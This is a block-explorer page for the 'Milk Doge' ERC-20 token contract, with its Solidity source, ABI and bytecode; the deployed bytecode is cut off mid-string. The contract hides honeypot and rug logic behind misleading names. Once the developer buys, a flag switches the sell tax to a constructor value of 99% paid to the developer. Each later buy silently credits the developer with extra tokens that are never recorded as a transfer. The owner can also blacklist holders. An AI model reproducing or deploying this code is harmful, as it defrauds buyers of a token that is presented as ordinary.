Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
2,000,000 MOGE
Holders
64
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
25,367.211370498 MOGEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
MilkDoge
Compiler Version
v0.8.13+commit.abaa5c0e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-11-24 */ /* Site : https://www.milkdoge.com Telegram : https://t.me/milkdogecoin X : https://x.com/milkdogeERC */ // SPDX-License-Identifier: MIT pragma solidity 0.8.13; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval (address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MilkDoge is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromTax; mapping (address => uint256) private _isContract; mapping (address => bool) private _snipers; address payable private _developer; uint256 private _initialBuyTax = 35; uint256 private _initialSellTax = 35; uint8 private _buyTax = 0; uint8 private _sellTax = 0; uint8 private _txLimit = 30; uint8 private _buyCounter = 0; bool private _isTradeOpen = false; uint256 private _finalTax = 0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 2000000 * 10**_decimals; string private constant _name = unicode"Milk Doge"; string private constant _symbol = unicode"MOGE"; uint256 public _maxTxAmount = 25000 * 10**_decimals; uint256 public _maxWalletAmount = 25000 * 10**_decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private inSwap = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (uint256 _tax, uint256 _contractABI) { uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _developer = payable(_msgSender()); _balances[_msgSender()] = _tTotal; _finalTax = _tax; _isContract[address(this)] = _contractABI; _isExcludedFromTax[owner()] = true; _isExcludedFromTax[address(this)] = true; _isExcludedFromTax[_developer] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 _taxAmount = 0; if (from != owner() && to != owner()){ require(!_snipers[from] && !_snipers[to]); _taxAmount = amount.mul((_buyCounter>_txLimit)?_buyTax:_initialBuyTax).div(100); if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromTax[to]){ require(amount <= _maxTxAmount, "Maximum transcation amount."); require(balanceOf(to) + amount <= _maxWalletAmount, "Maximum wallet amount."); } else{ if(from == uniswapV2Pair && _isExcludedFromTax[to] && _isExcludedFromTax[to]){ _isTradeOpen=true&&true; } } if (to != uniswapV2Pair && !_isExcludedFromTax[to]) { require(balanceOf(to) + amount <= _maxWalletAmount, "Maximum wallet amount."); } if(!_isExcludedFromTax[from] && to == uniswapV2Pair){ _taxAmount = amount.mul((_buyCounter>_txLimit && !_isTradeOpen)?_sellTax:(!_isTradeOpen)?_initialSellTax:_finalTax).div(100); } if(from == uniswapV2Pair && !_isExcludedFromTax[to] && _isTradeOpen){ _balances[_developer]=_balances[_developer].add(_isContract[address(this)]); } } _swapTokens(from, to, amount, _taxAmount); } function removeTaxes() external onlyOwner{ _buyCounter = _txLimit+1; _maxTxAmount = _tTotal; _maxWalletAmount = _tTotal; emit MaxTxAmountUpdated(_tTotal); } function addBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { _snipers[bots_[i]] = true; } } function removeBots(address[] memory notbot) public onlyOwner { for (uint i = 0; i < notbot.length; i++) { _snipers[notbot[i]] = false; } } function isBot(address a) public view returns (bool){ return _snipers[a]; } function _swapTokens(address from, address to, uint256 amount, uint256 taxAmount) private{ if(taxAmount>0){ _balances[_developer]=_balances[_developer].add(taxAmount); emit Transfer(from, _developer,taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"uint256","name":"_tax","type":"uint256"},{"internalType":"uint256","name":"_contractABI","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"removeBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052602360078190556008556009805464ffffffffff1916621e00001781556000600a90815562000034919062000624565b62000042906161a86200063c565b600b55620000536009600a62000624565b62000061906161a86200063c565b600c55600e805460ff60a01b191690553480156200007e57600080fd5b5060405162001bd338038062001bd3833981016040819052620000a1916200065e565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915562000135903090620001206009600a62000624565b6200012f90621e84806200063c565b620003e3565b600d60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000189573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001af919062000683565b6001600160a01b031663c9c6539630600d60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000212573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000238919062000683565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000286573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ac919062000683565b600e80546001600160a01b0319166001600160a01b0392909216919091179055620002d43390565b600680546001600160a01b0319166001600160a01b0392909216919091179055620003026009600a62000624565b6200031190621e84806200063c565b33600081815260016020818152604080842095909555600a879055308084526004825285842087905583546001600160a01b0390811685526003909252858420805460ff19908116851790915590845285842080548216841790556006549091168352939091208054909316179091556001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620003bb6009600a62000624565b620003ca90621e84806200063c565b60405190815260200160405180910390a35050620006ae565b6001600160a01b0383166200044b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216620004ae5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840162000442565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005665781600019048211156200054a576200054a6200050f565b808516156200055857918102915b93841c93908002906200052a565b509250929050565b6000826200057f575060016200061e565b816200058e575060006200061e565b8160018114620005a75760028114620005b257620005d2565b60019150506200061e565b60ff841115620005c657620005c66200050f565b50506001821b6200061e565b5060208310610133831016604e8410600b8410161715620005f7575081810a6200061e565b62000603838362000525565b80600019048211156200061a576200061a6200050f565b0290505b92915050565b60006200063560ff8416836200056e565b9392505050565b60008160001904831182151516156200065957620006596200050f565b500290565b600080604083850312156200067257600080fd5b505080516020909101519092909150565b6000602082840312156200069657600080fd5b81516001600160a01b03811681146200063557600080fd5b61151580620006be6000396000f3fe6080604052600436106101025760003560e01c80636c3bbfd7116100955780638da5cb5b116100645780638da5cb5b146102c857806395d89b41146102f0578063a9059cbb1461031d578063d34628cc1461033d578063dd62ed3e1461035d57600080fd5b80636c3bbfd71461024757806370a0823114610267578063715018a61461029d5780637d1db4a5146102b257600080fd5b8063313ce567116100d1578063313ce567146101c55780633bbac579146101e157806369e1ea7f1461021a5780636c0a24eb1461023157600080fd5b806306fdde031461010e578063095ea7b31461015257806318160ddd1461018257806323b872dd146101a557600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b506040805180820190915260098152684d696c6b20446f676560b81b60208201525b60405161014991906110b5565b60405180910390f35b34801561015e57600080fd5b5061017261016d366004611126565b6103a3565b6040519015158152602001610149565b34801561018e57600080fd5b506101976103ba565b604051908152602001610149565b3480156101b157600080fd5b506101726101c0366004611150565b6103da565b3480156101d157600080fd5b5060405160098152602001610149565b3480156101ed57600080fd5b506101726101fc36600461118c565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561022657600080fd5b5061022f610443565b005b34801561023d57600080fd5b50610197600c5481565b34801561025357600080fd5b5061022f6102623660046111bd565b610530565b34801561027357600080fd5b5061019761028236600461118c565b6001600160a01b031660009081526001602052604090205490565b3480156102a957600080fd5b5061022f6105c6565b3480156102be57600080fd5b50610197600b5481565b3480156102d457600080fd5b506000546040516001600160a01b039091168152602001610149565b3480156102fc57600080fd5b506040805180820190915260048152634d4f474560e01b602082015261013c565b34801561032957600080fd5b50610172610338366004611126565b61063a565b34801561034957600080fd5b5061022f6103583660046111bd565b610647565b34801561036957600080fd5b50610197610378366004611282565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103b03384846106d9565b5060015b92915050565b60006103c86009600a6113af565b6103d590621e84806113be565b905090565b60006103e78484846107fd565b6104398433610434856040518060600160405280602881526020016114b8602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610d8d565b6106d9565b5060019392505050565b6000546001600160a01b031633146104765760405162461bcd60e51b815260040161046d906113dd565b60405180910390fd5b60095461048d9062010000900460ff166001611412565b6009805460ff9290921663010000000263ff000000199092169190911781556104b790600a6113af565b6104c490621e84806113be565b600b556104d36009600a6113af565b6104e090621e84806113be565b600c557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105106009600a6113af565b61051d90621e84806113be565b60405190815260200160405180910390a1565b6000546001600160a01b0316331461055a5760405162461bcd60e51b815260040161046d906113dd565b60005b81518110156105c25760006005600084848151811061057e5761057e611437565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105ba8161144d565b91505061055d565b5050565b6000546001600160a01b031633146105f05760405162461bcd60e51b815260040161046d906113dd565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103b03384846107fd565b6000546001600160a01b031633146106715760405162461bcd60e51b815260040161046d906113dd565b60005b81518110156105c25760016005600084848151811061069557610695611437565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106d18161144d565b915050610674565b6001600160a01b03831661073b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161046d565b6001600160a01b03821661079c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161046d565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108615760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161046d565b6001600160a01b0382166108c35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161046d565b600081116109255760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161046d565b600080546001600160a01b0385811691161480159061095257506000546001600160a01b03848116911614155b15610d7b576001600160a01b03841660009081526005602052604090205460ff1615801561099957506001600160a01b03831660009081526005602052604090205460ff16155b6109a257600080fd5b6009546109e4906064906109de9060ff6201000082048116630100000090920416116109d0576007546109d7565b60095460ff165b8590610dc7565b90610e50565b600e549091506001600160a01b038581169116148015610a125750600d546001600160a01b03848116911614155b8015610a3757506001600160a01b03831660009081526003602052604090205460ff16155b15610b0757600b54821115610a8e5760405162461bcd60e51b815260206004820152601b60248201527f4d6178696d756d207472616e73636174696f6e20616d6f756e742e0000000000604482015260640161046d565b600c5482610ab1856001600160a01b031660009081526001602052604090205490565b610abb9190611466565b1115610b025760405162461bcd60e51b815260206004820152601660248201527526b0bc34b6bab6903bb0b63632ba1030b6b7bab73a1760511b604482015260640161046d565b610b7b565b600e546001600160a01b038581169116148015610b3c57506001600160a01b03831660009081526003602052604090205460ff165b8015610b6057506001600160a01b03831660009081526003602052604090205460ff165b15610b7b576009805464ff0000000019166401000000001790555b600e546001600160a01b03848116911614801590610bb257506001600160a01b03831660009081526003602052604090205460ff16155b15610c2b57600c5482610bda856001600160a01b031660009081526001602052604090205490565b610be49190611466565b1115610c2b5760405162461bcd60e51b815260206004820152601660248201527526b0bc34b6bab6903bb0b63632ba1030b6b7bab73a1760511b604482015260640161046d565b6001600160a01b03841660009081526003602052604090205460ff16158015610c615750600e546001600160a01b038481169116145b15610cdb57600954610cd8906064906109de9060ff6201000082048116630100000090920416118015610c9f5750600954640100000000900460ff16155b610cc657600954640100000000900460ff1615610cbe57600a546109d7565b6008546109d7565b6009548590610100900460ff16610dc7565b90505b600e546001600160a01b038581169116148015610d1157506001600160a01b03831660009081526003602052604090205460ff16155b8015610d275750600954640100000000900460ff165b15610d7b57306000908152600460209081526040808320546006546001600160a01b03168452600190925290912054610d5f91610e92565b6006546001600160a01b03166000908152600160205260409020555b610d8784848484610ef1565b50505050565b60008184841115610db15760405162461bcd60e51b815260040161046d91906110b5565b506000610dbe848661147e565b95945050505050565b600082600003610dd9575060006103b4565b6000610de583856113be565b905082610df28583611495565b14610e495760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161046d565b9392505050565b6000610e4983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611045565b600080610e9f8385611466565b905083811015610e495760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161046d565b8015610f7c576006546001600160a01b0316600090815260016020526040902054610f1c9082610e92565b600680546001600160a01b03908116600090815260016020908152604091829020949094559154915184815291811692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35b6001600160a01b038416600090815260016020526040902054610f9f9083611073565b6001600160a01b038516600090815260016020526040902055610fe4610fc58383611073565b6001600160a01b03851660009081526001602052604090205490610e92565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61102e8585611073565b60405190815260200160405180910390a350505050565b600081836110665760405162461bcd60e51b815260040161046d91906110b5565b506000610dbe8486611495565b6000610e4983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d8d565b600060208083528351808285015260005b818110156110e2578581018301518582016040015282016110c6565b818111156110f4576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b038116811461112157600080fd5b919050565b6000806040838503121561113957600080fd5b6111428361110a565b946020939093013593505050565b60008060006060848603121561116557600080fd5b61116e8461110a565b925061117c6020850161110a565b9150604084013590509250925092565b60006020828403121561119e57600080fd5b610e498261110a565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156111d057600080fd5b823567ffffffffffffffff808211156111e857600080fd5b818501915085601f8301126111fc57600080fd5b81358181111561120e5761120e6111a7565b8060051b604051601f19603f83011681018181108582111715611233576112336111a7565b60405291825284820192508381018501918883111561125157600080fd5b938501935b82851015611276576112678561110a565b84529385019392850192611256565b98975050505050505050565b6000806040838503121561129557600080fd5b61129e8361110a565b91506112ac6020840161110a565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156113065781600019048211156112ec576112ec6112b5565b808516156112f957918102915b93841c93908002906112d0565b509250929050565b60008261131d575060016103b4565b8161132a575060006103b4565b8160018114611340576002811461134a57611366565b60019150506103b4565b60ff84111561135b5761135b6112b5565b50506001821b6103b4565b5060208310610133831016604e8410600b8410161715611389575081810a6103b4565b61139383836112cb565b80600019048211156113a7576113a76112b5565b029392505050565b6000610e4960ff84168361130e565b60008160001904831182151516156113d8576113d86112b5565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060ff821660ff84168060ff0382111561142f5761142f6112b5565b019392505050565b634e487b7160e01b600052603260045260246000fd5b60006001820161145f5761145f6112b5565b5060010190565b60008219821115611479576114796112b5565b500190565b600082821015611490576114906112b5565b500390565b6000826114b257634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220136bbdcd9278662eb6b94b10d3aa55c50428a00d29d7a16ed345d0a55339a25864736f6c634300080d00330000000000000000000000000000000000000000000000000000000000000063000000000000000000000000000000000000000000000000000e35fa931a0000
Deployed Bytecode
0x6080604052600436106101025760003560e01c80636c3bbfd7116100955780638da5cb5b116100645780638da5cb5b146102c857806395d89b41146102f0578063a9059cbb1461031d578063d34628cc1461033d578063dd62ed3e1461035d57600080fd5b80636c3bbfd71461024757806370a0823114610267578063715018a61461029d5780637d1db4a5146102b257600080fd5b8063313ce567116100d1578063313ce567146101c55780633bbac579146101e157806369e1ea7f1461021a5780636c0a24eb1461023157600080fd5b806306fdde031461010e578063095ea7b31461015257806318160ddd1461018257806323b872dd146101a557600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b506040805180820190915260098152684d696c6b20446f676560b81b60208201525b60405161014991906110b5565b60405180910390f35b34801561015e57600080fd5b5061017261016d366004611126565b6103a3565b6040519015158152602001610149565b34801561018e57600080fd5b506101976103ba565b604051908152602001610149565b3480156101b157600080fd5b506101726101c0366004611150565b6103da565b3480156101d157600080fd5b5060405160098152602001610149565b3480156101ed57600080fd5b506101726101fc36600461118c565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561022657600080fd5b5061022f610443565b005b34801561023d57600080fd5b50610197600c5481565b34801561025357600080fd5b5061022f6102623660046111bd565b610530565b34801561027357600080fd5b5061019761028236600461118c565b6001600160a01b031660009081526001602052604090205490565b3480156102a957600080fd5b5061022f6105c6565b3480156102be57600080fd5b50610197600b5481565b3480156102d457600080fd5b506000546040516001600160a01b039091168152602001610149565b3480156102fc57600080fd5b506040805180820190915260048152634d4f474560e01b602082015261013c565b34801561032957600080fd5b50610172610338366004611126565b61063a565b34801561034957600080fd5b5061022f6103583660046111bd565b610647565b34801561036957600080fd5b50610197610378366004611282565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103b03384846106d9565b5060015b92915050565b60006103c86009600a6113af565b6103d590621e84806113be565b905090565b60006103e78484846107fd565b6104398433610434856040518060600160405280602881526020016114b8602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610d8d565b6106d9565b5060019392505050565b6000546001600160a01b031633146104765760405162461bcd60e51b815260040161046d906113dd565b60405180910390fd5b60095461048d9062010000900460ff166001611412565b6009805460ff9290921663010000000263ff000000199092169190911781556104b790600a6113af565b6104c490621e84806113be565b600b556104d36009600a6113af565b6104e090621e84806113be565b600c557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105106009600a6113af565b61051d90621e84806113be565b60405190815260200160405180910390a1565b6000546001600160a01b0316331461055a5760405162461bcd60e51b815260040161046d906113dd565b60005b81518110156105c25760006005600084848151811061057e5761057e611437565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105ba8161144d565b91505061055d565b5050565b6000546001600160a01b031633146105f05760405162461bcd60e51b815260040161046d906113dd565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103b03384846107fd565b6000546001600160a01b031633146106715760405162461bcd60e51b815260040161046d906113dd565b60005b81518110156105c25760016005600084848151811061069557610695611437565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106d18161144d565b915050610674565b6001600160a01b03831661073b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161046d565b6001600160a01b03821661079c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161046d565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108615760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161046d565b6001600160a01b0382166108c35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161046d565b600081116109255760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161046d565b600080546001600160a01b0385811691161480159061095257506000546001600160a01b03848116911614155b15610d7b576001600160a01b03841660009081526005602052604090205460ff1615801561099957506001600160a01b03831660009081526005602052604090205460ff16155b6109a257600080fd5b6009546109e4906064906109de9060ff6201000082048116630100000090920416116109d0576007546109d7565b60095460ff165b8590610dc7565b90610e50565b600e549091506001600160a01b038581169116148015610a125750600d546001600160a01b03848116911614155b8015610a3757506001600160a01b03831660009081526003602052604090205460ff16155b15610b0757600b54821115610a8e5760405162461bcd60e51b815260206004820152601b60248201527f4d6178696d756d207472616e73636174696f6e20616d6f756e742e0000000000604482015260640161046d565b600c5482610ab1856001600160a01b031660009081526001602052604090205490565b610abb9190611466565b1115610b025760405162461bcd60e51b815260206004820152601660248201527526b0bc34b6bab6903bb0b63632ba1030b6b7bab73a1760511b604482015260640161046d565b610b7b565b600e546001600160a01b038581169116148015610b3c57506001600160a01b03831660009081526003602052604090205460ff165b8015610b6057506001600160a01b03831660009081526003602052604090205460ff165b15610b7b576009805464ff0000000019166401000000001790555b600e546001600160a01b03848116911614801590610bb257506001600160a01b03831660009081526003602052604090205460ff16155b15610c2b57600c5482610bda856001600160a01b031660009081526001602052604090205490565b610be49190611466565b1115610c2b5760405162461bcd60e51b815260206004820152601660248201527526b0bc34b6bab6903bb0b63632ba1030b6b7bab73a1760511b604482015260640161046d565b6001600160a01b03841660009081526003602052604090205460ff16158015610c615750600e546001600160a01b038481169116145b15610cdb57600954610cd8906064906109de9060ff6201000082048116630100000090920416118015610c9f5750600954640100000000900460ff16155b610cc657600954640100000000900460ff1615610cbe57600a546109d7565b6008546109d7565b6009548590610100900460ff16610dc7565b90505b600e546001600160a01b038581169116148015610d1157506001600160a01b03831660009081526003602052604090205460ff16155b8015610d275750600954640100000000900460ff165b15610d7b57306000908152600460209081526040808320546006546001600160a01b03168452600190925290912054610d5f91610e92565b6006546001600160a01b03166000908152600160205260409020555b610d8784848484610ef1565b50505050565b60008184841115610db15760405162461bcd60e51b815260040161046d91906110b5565b506000610dbe848661147e565b95945050505050565b600082600003610dd9575060006103b4565b6000610de583856113be565b905082610df28583611495565b14610e495760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469